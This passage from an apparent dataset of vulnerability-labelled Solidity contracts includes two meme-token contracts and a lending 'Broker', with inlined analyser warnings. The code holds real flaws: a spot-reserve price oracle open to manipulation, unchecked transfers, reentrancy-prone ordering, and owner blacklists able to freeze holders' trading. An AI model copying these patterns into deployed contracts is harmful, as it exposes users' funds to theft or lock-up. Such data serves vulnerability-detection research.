"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract DARKMAGANIGHT is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 360e227): DARKMAGANIGHT._taxWallet should be immutable \n\t// Recommendation for 360e227: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 15d0213): DARKMAGANIGHT._initialBuyTax should be constant \n\t// Recommendation for 15d0213: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2442e56): DARKMAGANIGHT._initialSellTax should be constant \n\t// Recommendation for 2442e56: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 28;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0affb8d): DARKMAGANIGHT._reduceBuyTaxAt should be constant \n\t// Recommendation for 0affb8d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3c7cbdc): DARKMAGANIGHT._reduceSellTaxAt should be constant \n\t// Recommendation for 3c7cbdc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: dcd7057): DARKMAGANIGHT._preventSwapBefore should be constant \n\t// Recommendation for dcd7057: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"DARK MAGA NIGHT\"; //\n\n string private constant _symbol = unicode\"$DMAGAN\"; //\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: f50dc7c): DARKMAGANIGHT._taxSwapThreshold should be constant \n\t// Recommendation for f50dc7c: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a2f538e): DARKMAGANIGHT._maxTaxSwap should be constant \n\t// Recommendation for a2f538e: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xb1FF7C5F134230E7Afd5303A409bF6dBc6570931);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b554a28): DARKMAGANIGHT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b554a28: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 821a8d7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 821a8d7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b32d1e3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b32d1e3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 821a8d7\n\t\t// reentrancy-benign | ID: b32d1e3\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 821a8d7\n\t\t// reentrancy-benign | ID: b32d1e3\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9a28821): DARKMAGANIGHT._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9a28821: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: b32d1e3\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 821a8d7\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 967b337): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 967b337: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 219cbf1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 219cbf1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 967b337\n\t\t\t\t// reentrancy-eth | ID: 219cbf1\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 967b337\n\t\t\t\t\t// reentrancy-eth | ID: 219cbf1\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 219cbf1\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 219cbf1\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 219cbf1\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 967b337\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 219cbf1\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 219cbf1\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 967b337\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 821a8d7\n\t\t// reentrancy-events | ID: 967b337\n\t\t// reentrancy-benign | ID: b32d1e3\n\t\t// reentrancy-eth | ID: 219cbf1\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 821a8d7\n\t\t// reentrancy-events | ID: 967b337\n\t\t// reentrancy-eth | ID: 219cbf1\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f3e77ff): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f3e77ff: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 575ef87): DARKMAGANIGHT.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 575ef87: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3b58ee2): DARKMAGANIGHT.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 3b58ee2: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 78821e9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 78821e9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: f3e77ff\n\t\t// reentrancy-eth | ID: 78821e9\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: f3e77ff\n\t\t// unused-return | ID: 575ef87\n\t\t// reentrancy-eth | ID: 78821e9\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: f3e77ff\n\t\t// unused-return | ID: 3b58ee2\n\t\t// reentrancy-eth | ID: 78821e9\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: f3e77ff\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 78821e9\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10862.sol",
"size_bytes": 19982,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Pair {\n function mint(address to) external returns (uint256 liquidity);\n\n function getReserves()\n external\n view\n returns (\n uint112 _reserve0,\n uint112 _reserve1,\n uint32 _blockTimestampLast\n );\n\n function swap(\n uint256 amount0Out,\n uint256 amount1Out,\n address to,\n bytes calldata data\n ) external;\n}\n\ninterface ERC20Like {\n function transfer(address dst, uint256 qty) external returns (bool);\n\n function transferFrom(\n address src,\n address dst,\n uint256 qty\n ) external returns (bool);\n\n function approve(address dst, uint256 qty) external returns (bool);\n\n function balanceOf(address who) external view returns (uint256);\n}\n\ninterface WETH9 is ERC20Like {\n function deposit() external payable;\n}\n\ncontract Broker {\n\t// WARNING Optimization Issue (immutable-states | ID: e6e57e5): Broker.pair should be immutable \n\t// Recommendation for e6e57e5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Pair public pair;\n WETH9 public constant weth =\n WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n\t// WARNING Optimization Issue (immutable-states | ID: 1798bf1): Broker.token should be immutable \n\t// Recommendation for 1798bf1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n ERC20Like public token;\n\n mapping(address => uint256) public deposited;\n mapping(address => uint256) public debt;\n\n constructor(IUniswapV2Pair _pair, ERC20Like _token) {\n pair = _pair;\n token = _token;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3c39c99): Broker.rate() ignores return value by (_reserve0,_reserve1,None) = pair.getReserves()\n\t// Recommendation for 3c39c99: Ensure that all the return values of the function calls are used.\n function rate() public view returns (uint256) {\n\t\t// unused-return | ID: 3c39c99\n (uint112 _reserve0, uint112 _reserve1, ) = pair.getReserves();\n uint256 _rate = uint256(_reserve0 / _reserve1);\n return _rate;\n }\n\n function safeDebt(address user) public view returns (uint256) {\n return (deposited[user] * rate() * 2) / 3;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: bb5fad4): Broker.borrow(uint256) ignores return value by token.transfer(msg.sender,amount)\n\t// Recommendation for bb5fad4: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function borrow(uint256 amount) public {\n debt[msg.sender] += amount;\n require(\n safeDebt(msg.sender) >= debt[msg.sender],\n \"err: undercollateralized\"\n );\n\t\t// unchecked-transfer | ID: bb5fad4\n token.transfer(msg.sender, amount);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 8277d3c): Broker.repay(uint256) ignores return value by token.transferFrom(msg.sender,address(this),amount)\n\t// Recommendation for 8277d3c: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function repay(uint256 amount) public {\n debt[msg.sender] -= amount;\n\t\t// unchecked-transfer | ID: 8277d3c\n token.transferFrom(msg.sender, address(this), amount);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 3bebe04): Broker.liquidate(address,uint256) ignores return value by token.transferFrom(msg.sender,address(this),amount)\n\t// Recommendation for 3bebe04: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 9d2f489): Broker.liquidate(address,uint256) ignores return value by weth.transfer(msg.sender,collateralValueRepaid)\n\t// Recommendation for 9d2f489: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function liquidate(address user, uint256 amount) public returns (uint256) {\n require(safeDebt(user) <= debt[user], \"err: overcollateralized\");\n debt[user] -= amount;\n\t\t// unchecked-transfer | ID: 3bebe04\n token.transferFrom(msg.sender, address(this), amount);\n uint256 collateralValueRepaid = amount / rate();\n\t\t// unchecked-transfer | ID: 9d2f489\n weth.transfer(msg.sender, collateralValueRepaid);\n return collateralValueRepaid;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 49fa3fd): Broker.deposit(uint256) ignores return value by weth.transferFrom(msg.sender,address(this),amount)\n\t// Recommendation for 49fa3fd: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function deposit(uint256 amount) public {\n deposited[msg.sender] += amount;\n\t\t// unchecked-transfer | ID: 49fa3fd\n weth.transferFrom(msg.sender, address(this), amount);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: dbd6dbf): Broker.withdraw(uint256) ignores return value by weth.transfer(msg.sender,amount)\n\t// Recommendation for dbd6dbf: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function withdraw(uint256 amount) public {\n deposited[msg.sender] -= amount;\n require(\n safeDebt(msg.sender) >= debt[msg.sender],\n \"err: undercollateralized\"\n );\n\n\t\t// unchecked-transfer | ID: dbd6dbf\n weth.transfer(msg.sender, amount);\n }\n}\n",
"file_name": "solidity_code_10863.sol",
"size_bytes": 5617,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(0xbBb5Cf845c0EeD35C00C46E363010486F02Ad804);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = allowance(owner, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: 2335726\n _balances[from] = fromBalance - amount;\n\n\t\t\t// reentrancy-eth | ID: 2335726\n _balances[to] += amount;\n }\n\n\t\t// reentrancy-events | ID: 396eeb3\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}\n\ncontract Rekt is Context, ERC20, Ownable {\n address payable private _devWallet =\n payable(0xbBb5Cf845c0EeD35C00C46E363010486F02Ad804);\n\n\t// WARNING Optimization Issue (immutable-states | ID: af8608b): Rekt.uniswapV2Pair should be immutable \n\t// Recommendation for af8608b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n uint256 private constant _tSupply = 100000000 * (10 ** 18);\n\n uint256 public maxBuyAmount = (_tSupply * (125)) / (10000);\n\n uint256 public maxSellAmount = (_tSupply * (125)) / (10000);\n\n uint256 public maxWalletAmount = (_tSupply * (125)) / (10000);\n\n uint256 private _swapTokensAtAmount = (_tSupply * (1)) / (1000);\n\n uint256 public constant FEE_DIVISOR = 100;\n\n uint256 private _totalFees;\n\n uint256 private _devFee;\n\n uint256 public buyDevFee = 25;\n\n uint256 private _previousBuyDevFee = buyDevFee;\n\n uint256 public sellDevFee = 40;\n\n uint256 private _previousSellDevFee = sellDevFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 444753c): Rekt.uniswapV2Router should be immutable \n\t// Recommendation for 444753c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n mapping(address => bool) public _excludedFees;\n\n mapping(address => bool) private _excludedMaxTx;\n\n mapping(address => bool) private _isBot;\n\n bool public tradingOpen;\n\n bool private _swapping;\n\n bool 